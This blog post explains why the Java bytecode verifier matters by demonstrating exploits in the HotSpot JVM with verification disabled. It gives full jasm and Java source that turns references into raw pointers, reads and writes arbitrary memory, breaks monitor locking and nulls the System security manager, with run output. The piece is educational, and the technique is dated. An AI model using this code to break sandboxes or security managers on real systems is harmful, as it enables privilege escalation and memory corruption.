Cracking the Hotspot JVM

... or alternatively titled: "Why the verifier is so important." Java is a safe language, but how much trouble can you get into if you can get around the verifier? As it turns out, quite a lot.


I've seen a couple of requests lately for the VM to skip verification in certain situations to save some startup time costs. It's possible to do this, of course (the command-line flag -Xverify:none will do the trick), but I found myself wondering, "how bad could it be?" It's clear that the verifier enforces type safety so that your Java program won't do anything insane, and it's reasonably obvious that it protects the VM as well. But other than crashing your program (or the VM itself), can a malicious Java application subvert the VM to violate language or security constraints? I set out to find out, and what I found what was, to me, a surprising conclusion:


Yes, yes it can. With reasonable insight into the implementation of the VM, it turns out that a Java program can subvert quite a bit. Let's see how.


First off, we obviously are going to need a way around the protections that are built in to the VM and the language. We're going to have to do some sleezy things in order to get direct memory pointers from object references, and there's no way that javac is going to let do things like that. So we'll have to pitch that and use some lower-level assemblers to create a classfile that will do the thing we want it to do. I used jasm to create the subversive classfile, though binary editing is always a possibility if one is desperate.


So let's start off with a simple class that will get us a pointer to a Java object given a Java object reference:


Pointer.jasm:




public class Pointer
  version 45:3
{


// Returns the address of an object
public static Method addr:"(Ljava/lang/Object;)I"
  stack 1 locals 1
{
    iload_0; // pushes the first local as an int onto the stack (?)
    ireturn; // returns the int
}


} // end class Pointer




We can use jasm to create a classfile:





> jasm Pointer.jasm
> ls Pointer.class
Pointer.class




Ok, so far so good. But will the VM accept it as a valid classfile?





> java -client Pointer
Exception in thread "main" java.lang.VerifyError: (class: Pointer, method: addr signature: (Ljava/lang/Object;)I) Register 0 contains wrong type
>




Well, I suppose that's not too surprising. The first argument of this method is a reference and we try to load it as an int. This is what the verifier is there to catch. But: we can disable it:





> java -client -Xverify:none Pointer
Exception in thread "main" java.lang.NoSuchMethodError: main
>




Perfect! There's no main method, of course, which is why we get that error message, but if we've gotten this far, that means the VM has accepted it as a valid classfile (with the appropriate strong-arming, of course). We now have a classfile that has a method addr that will hopefully convert an object reference to an integer address. Let's give it a shot:


Crack.java:




public class Crack {
  public static void main(String argv[]) {
    String s = new String("hello, world!");
    System.out.format("Address of string: 0x%08x\\n", Pointer.addr(s));
  }
}




Just compile and run:





> javac Crack.java
> java -client -Xverify:none Crack
Address of string: 0xadebe418
>




Nifty! That's the kind of data that VM doesn't want to give out, yet here it is, and none too hard to get. But... it's pretty useless -- we can see it, but we can't really do anything with it. What we really need to do in order to be subversive is to be able to read and write data at arbitrary locations. One possibility is to take that value and feed it into a native method via JNI, but we're looking to write once and crack anywhere, so let's look for a Java solution.


It turns out that not too many Java bytecodes write to heap memory. All of the load, store, push and pop operations end up operating on the expression stack or the locals, which are most likely in our thread's frame or in CPU registers. The opcodes that do end up reading and writing in the Java heap are field accessors, such as getfield and putfield (or the static versions). But we need an object and a field to reference, and we need somehow to spoof the VM so that it reads the memory location we want it to. Luckily, since we've long ago ditched the verifier, this is possible to do.


Objects in the Hotspot VM look like this:

-------------------------------
|  Header word (Mark word)
|  Header word (Klass pointer)
-------------------------------
|  Instance fields (\*)
|  ...
-------------------------------


So if we can convince the VM that an object is sitting in just the right place, and that the object has an integer field, we can use the getfield opcode to get the first field in the object, which will read the data at the memory location that we desire (marked by a '(\*)' in the diagram), and push it onto the expression stack. Since we can't write to memory (yet!), this will only work if during the evaluation of getfield, the VM doesn't try to access the header words of the 'phantom' object. Luckily for us, it does not.


So, what we need to do to read memory from an arbitrary location is subtract 2 words from the address, use that value as an object, and access the first field of that object. We'll need not only the (bizarre) code but a class that has an integer as the first member. We can add these to our Pointer class:





public class Pointer
  version 45:3
{


private Field value:I;


// Creates a pointer to an object
public static Method addr:"(Ljava/lang/Object;)I"
  stack 1 locals 1
{
    iload_0;
    ireturn;
}


// Dereferences a pointer
public static Method deref:"(I)I"
  stack 3 locals 1
{
    iload_0;
    iconst_4;
    iconst_2;
    imul;
    isub;
    getfield Field value:"I";
    ireturn;
}


} // end class Pointer




So... what is going on here? First off, notice we've added the value field to Pointer. This is because we're going to fool the VM into thinking that there is an instance of Pointer in the heap, starting at two words before our target address, so that when we read the value field, we're getting the value of the address we want. Let's step through the deref method, which given an address should return to us the contents of that address:


iload_0 loads the argument onto the expression stack, and the next two opcodes push 4 and then 2 onto the stack. imul pops off and multiplies 4 and 2 and pushes the result (8, duh!) back onto the stack. The isub subtracts 8 from the passed address, leaving the result (address - 2 words) on the stack. We could have done this more simply and skipped the multiplication if there were a iconst_8 bytecode, but there isn't and our only other alternative for getting 8 on that stack is putting it in the constant pool and referencing it here. Too complicated. The next instruction expects an object on the stack and reads the value field from that object. Here's where the verifier would slap us around had we not taken the foresight to disable it, since what is on the stack is actually an integer and not an object. The getfield will now happily pop the address off the stack, add the field offset to it (in this case, 8), and read the value from memory and push it back onto the stack. Then all we have to do is return that value.


By the way, should any garbage collection occur here and the object moves, we're out of luck. Sure we'll read the memory location we're interested in, it's just that the object may not even be there anymore and we can be reading garbage. Even worse, if garbage collection happens at just the right time and looks at our thread and sees this 'phantom' object, it will try to find the references in it and will probably end up choking badly and bringing the whole VM down. Such is the danger of living outside the lines...


So let's test this out:


Crack.java:




public class Crack {
  public static void main(String argv[]) {
    String s = new String("hello, world");
    int addr = Pointer.addr(s);
    int value = Pointer.deref(addr);
    System.out.format("Value at: 0x%08x: %d\\n", addr, value);
  }
}







> jasm Pointer.jasm
> javac Crack.java
> java -client -Xverify:none Crack
Value at: 0xadebe448: 5
>




So the value of the mark word (the first header word) in the object is '5'. That particular bit pattern happens to mean that the object is not locked, is biasable, and has an age and hash of '0'. We are not limited to looking at mark word; we can easily adjust the addr variable to read other words from the object. For example, addr + 8 is a reference to the character array for the string and addr + 12 is the offset into that array. By the way - these are private fields of String so you really shouldn't be looking at them. Fair warning: if you lack the moral flexibility to be ok with this you should probably stop reading here, because it only gets worse.


You're still here, huh? So reading private fields just isn't edgy enough for you? Ok, then, let's take the next step and really get our hands dirty: time to change reality by writing data to memory too. The theory is essentially the same for this: we'll create a phantom object 2 words before the address we want to write to, and use putfield to write the data into that object's first field. The code to do this is almost identical to the deref method except that we have an argument to write and don't return anything. Here's the addition to Pointer.java:





// Stores a value to an address
public static Method store:"(II)V"
  stack 3 locals 2
{
    iload_0;
    iconst_4;
    iconst_2;
    imul;
    isub;
    iload_1;
    putfield Field value:"I";
    return;
}




Once we compile that, we're the masters of our domain. We can get the address of any object, and read and write to any field in that object if we so desire. If we know enough about the VM internals, we could probably find pointers and get into those data structures as well. So what kind of trouble can we cause?


Well, remember the value we found in the mark word of the string? '5' indicates an unlocked state. One possibility for misbehavior would be for us to rewrite that '5' into the mark word when the object is already locked, thus allowing an additional thread into the monitor. The code to do this is pretty simple:


(added to Crack.java):




public static int breakLock(Object o) {
  int addr = Pointer.addr(o);
  int savedLock = Pointer.deref(addr);
  Pointer.store(addr, 5);
  return savedLock;
}


public static void restoreLock(Object o, int savedLock) {
  int addr = Pointer.addr(o);
  Pointer.store(add, savedLock);
}




We save the old value of the lock and restore it later so that the thread who may have originally locked the thread will not be surprised to find a different value when it leaves the monitor. This assumes we'll be in and out before that thread is done, but that's ok for now. So let's demonstrate that we're above the law when it comes to locks:


(added to Crack.java):




public static void demoLockBreak() {
  s = new String("uh oh!");
  synchronized (s) {
    System.out.println("Thread " + Thread.currentThread() + " entering monitor");
    Thread thread = new Thread() {
      public void run() {
        int savedLock = breakLock(s);
        System.out.println("Thread " + Thread.currentThread() +
          " attempting to enter monitor (this should deadlock)");
        synchronized (s) {
          System.out.println("Thread " + Thread.currentThread() + " entering monitor");
          // The entirety of the run() function takes place while the
          // main thread is holding the lock for string s. We shouldn't
          // be able to get here.
          System.out.println("Ack! Multiple threads in the same monitor!");
        }
        restoreLock(s, savedLock);
        System.out.println("Thread " + Thread.currentThread() + " leaving monitor");
      }};
      thread.start();
      try { thread.join(); } catch (Exception e) {}
      System.out.println("Thread " + Thread.currentThread() + " leaving monitor");
    }
  }




Just add a call to this method from main().


This creates a string and enters its monitor and then spawns a thread which tries to enter the monitor at the same time. Since the first thread waits for the spawned thread to return (via the Thread.join() call at the end), this should deadlock since the spawned thread can't enter the monitor. But if the spawned thread uses our new lock breaking functions...





> jasm Pointer.jasm
> javac Crack.java
> java -client -Xverify:none Crack
Thread Thread[main,5,main] entering monitor
Thread Thread[Thread-0,5,main] attempting to enter monitor (this should deadlock)
Thread Thread[Thread-0,5,main] entering monitor
Ack! Multiple threads in the same monitor!
Thread Thread[Thread-0,5,main] leaving monitor
Thread Thread[main,5,main] leaving monitor




(insert evil laugh here)


So we've subverted a tenent of the Java language. Can we do worse? Probably. Since we have full access to public and private fields of any method, let's see if we can do something like... disabling the security mechanisms at the java library level.


If the java command is invoked with the -Djava.security.manager, (or if someone installed one before our code runs) then a security manager object is installed in the java.lang.System class, which the libraries will check with before allowing certain operations, such as file or network accesses. The reason this works is because once the security manager is installed, one cannot override it unless you already have the correct permissions (which, by default, we do not). But we don't need no stinkin' permissions. We have god-like abilities and are free to send that security manager to sleep with the fishes.


This one is a little more complicated, though, but only because we need to figure out where the security manager is located and how to get rid of it. As it turns out, it is in a static field of java.lang.System. All we really need to do is find that address and null it out.


Static fields aren't as straightforward as instance fields, though, since they're stored in a VM-specific data structure, and happen to be allocated behind some variable length objects (like the class's virtual method table). Though it takes some digging through the VM source, we can figure out where that field is. The java.lang.Class instance's 3rd word is a pointer to an internal data structure known as an instanceKlass. There exists one instanceKlass for each class type which contains lots of information about the class, including the static fields. Through much sophisticated detective work, I was able to determine that the security manager references lives at word 83 of the instanceKlass for the java.lang.System class (ok, it's wasn't sophisticated - I just ran without -Djava.security.manager and examined the first 100 words both before and after manually setting a security manager. The field that changed from 0 to a reference was it).


Here's the code in Crack.java:




public static void breakSecurity() {
  Class c = null;
  try { c = Class.forName("java.lang.System"); } catch (Exception e) {}
  int classAddr = Pointer.addr(c);
  int instanceKlassAddr = Pointer.deref(classAddr + 8);
  int managerFieldAddr = instanceKlassAddr + 83 \* 4;
  Pointer.store(managerFieldAddr, 0);
}




And here's the code the tests our crack (there's a check at the beginning to make sure we're running with -Djava.security.manager else there's not much of a point):


(in Crack.java):




public static void demoSecurityBreak() {
  try {
    System.setSecurityManager(new SecurityManager());
    System.out.println("No security manager installed. Run with " +
      "-Djava.security.manager to test security breaking");
    return;
  } catch (AccessControlException e) {
    System.out.println("Can't set security manager. " +
      "Attempting to crack it...");
  }


  breakSecurity();
  try {
    System.setSecurityManager(new SecurityManager());
    System.out.println("Ack! Set my own security manager! This is bad!");
  } catch (AccessControlException e) {
    System.out.println("OK: Was correctly unable to set security manager");
  }
}




Here's the output: after adding the call to main()





> java -client -Xverify:none -Djava.security.manager Crack
Can't set security manager. Attempting to crack it...
Ack! Set my own security manager! This is bad!



So, now in addition to reading data we're not suppose to read (private fields), doing things we're not supposed to do (multiple threads in a monitor), we've now also managed to disable the entire security system. All from Java code. Cool, eh? The moral of the story here is... run with the verifier :)


For completeness, here follows the final code for Crack.java and Pointer.jasm. I added a check to see if the verifier was enabled and disabled the cracks when it is enabled so that one could test that the things we're doing would be correctly caught if the verifier is on.


Pointer.jasm:




public class Pointer
version 45:3
{


private Field value:I;


// Creates a pointer to an object
public static Method addr:"(Ljava/lang/Object;)I"
  stack 1 locals 1
{
    iload_0;
    ireturn;
}


// Dereferences a pointer
public static Method deref:"(I)I"
  stack 3 locals 1
{
    iload_0;
    iconst_4;
    iconst_2;
    imul;
    isub;
    getfield Field value:"I";
    ireturn;
}


// Stores a value to an address
public static Method store:"(II)V"
  stack 3 locals 2
{
    iload_0;
    iconst_4;
    iconst_2;
    imul;
    isub;
    iload_1;
    putfield Field value:"I";
    return;
}


} // end Class Pointer



Crack.java:




import java.security.AccessControlException;


public class Crack {


  static String s;
  static boolean crack;


  public static void main(String argv[]) {
    try {
      Class c = Class.forName("Pointer");
      System.out.println("No VerifyError - crack away...");
      crack = true;
    } catch (VerifyError e) {
      System.out.println("Caught VerifyError, cracks disabled");
      crack = false;
    } catch (ClassNotFoundException e) {
      System.out.println("Missing pointer class");
      crack = false;
    }
    demoSecurityBreak();
    demoLockBreak();
  }


  public static void demoLockBreak() {
    s = new String("uh oh!");
    synchronized (s) {
      System.out.println("Thread " + Thread.currentThread() +
        " entering monitor");
      Thread thread = new Thread() {
        public void run() {
          int savedLock = breakLock(s);
          System.out.println("Thread " + Thread.currentThread() +
            " attempting to enter monitor (this should deadlock)");
          synchronized (s) {
            System.out.println("Thread " + Thread.currentThread() +
              " entering monitor");
            // The entirety of the run() function takes place while the
            // main thread is holding the lock for string s. We shouldn't
            // be able to get here.
            System.out.println("Ack! Multiple threads in the same monitor!");
          }
          restoreLock(s, savedLock);
          System.out.println("Thread " + Thread.currentThread() +
            " leaving monitor");
        }};
      thread.start();
      try { thread.join(); } catch (Exception e) {}
      System.out.println("Thread " + Thread.currentThread() +
        " leaving monitor");
    }
  }


  public static int breakLock(Object o) {
    if (crack) {
      int addr = Pointer.addr(o);
      int savedLock = Pointer.deref(addr);
      Pointer.store(addr, 5);
      return savedLock;
    }
    return 0;
  }


  public static void restoreLock(Object o, int savedLock) {
    if (crack) {
      int addr = Pointer.addr(o);
      Pointer.store(addr, savedLock);
    }
  }


  public static void demoSecurityBreak() {
    try {
      System.setSecurityManager(new SecurityManager());
      System.out.println("No security manager installed. Run with " +
        "-Djava.security.manager to test security breaking");
      return;
    } catch (AccessControlException e) {
      System.out.println("Can't set security manager. " +
        "Attempting to crack it...");
    }


    breakSecurity();
    try {
      System.setSecurityManager(new SecurityManager());
      System.out.println("Ack! Set my own security manager! This is bad!");
    } catch (AccessControlException e) {
      System.out.println("OK: Was correctly unable to set security manager");
    }
  }


  public static void breakSecurity() {
    if (crack) {
      Class c = null;
      try { c = Class.forName("java.lang.System"); } catch (Exception e) {}
      int classAddr = Pointer.addr(c);
      int instanceKlassAddr = Pointer.deref(classAddr + 8);
      int managerFieldAddr = instanceKlassAddr + 83 \* 4;
      Pointer.store(managerFieldAddr, 0);
    }
  }
}




Happy hacking!

Comments:

Your post gave me an idea. Some JAR files are included into the JRE/JDK distribution. JVM takes time to load them. Is the verification time important ?

In the affirmative case, why not skipping the verification time by providing some signature through checksum ? So, the JVM might load these JAR files "as is" after checksum verification, but avoiding classic bytecode verification. It might be faster.

Another idea could be to store some \*special\* JAR files being a kind of hard-drive copy of something close to a memory snapshot of basic Java JRE classes. The goal I have in mind is to have special pre-processed JAR files on the hard-drive, so the JVM might be able to load JRE classes doing as little as verification (only checksum ?) and JIT operation as possible.

What do you think about that ? Had SUN investigated thoses idea in the past ?

My 2 cents.

Posted by Dominique on May 10, 2006 at 01:41 AM EDT #

All jars on the bootclasspath are treated as "trusted" and are not verified by default. For other jars, recent improvements in the verifier makes the verification process much faster (one pass through the code is enough to verify). We actually do have a shared class archive for the client java processes that saves the classes in rt.jar in an in-memory format so they can be loaded with a simple mmap (and shared between applications).

Posted by guest on May 10, 2006 at 02:55 AM EDT #

Post a Comment:
Comments are closed for this entry.
About

kamg

Search

Top Tags
Categories
Archives
« April 2014
SunMonTueWedThuFriSat
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   
       
Today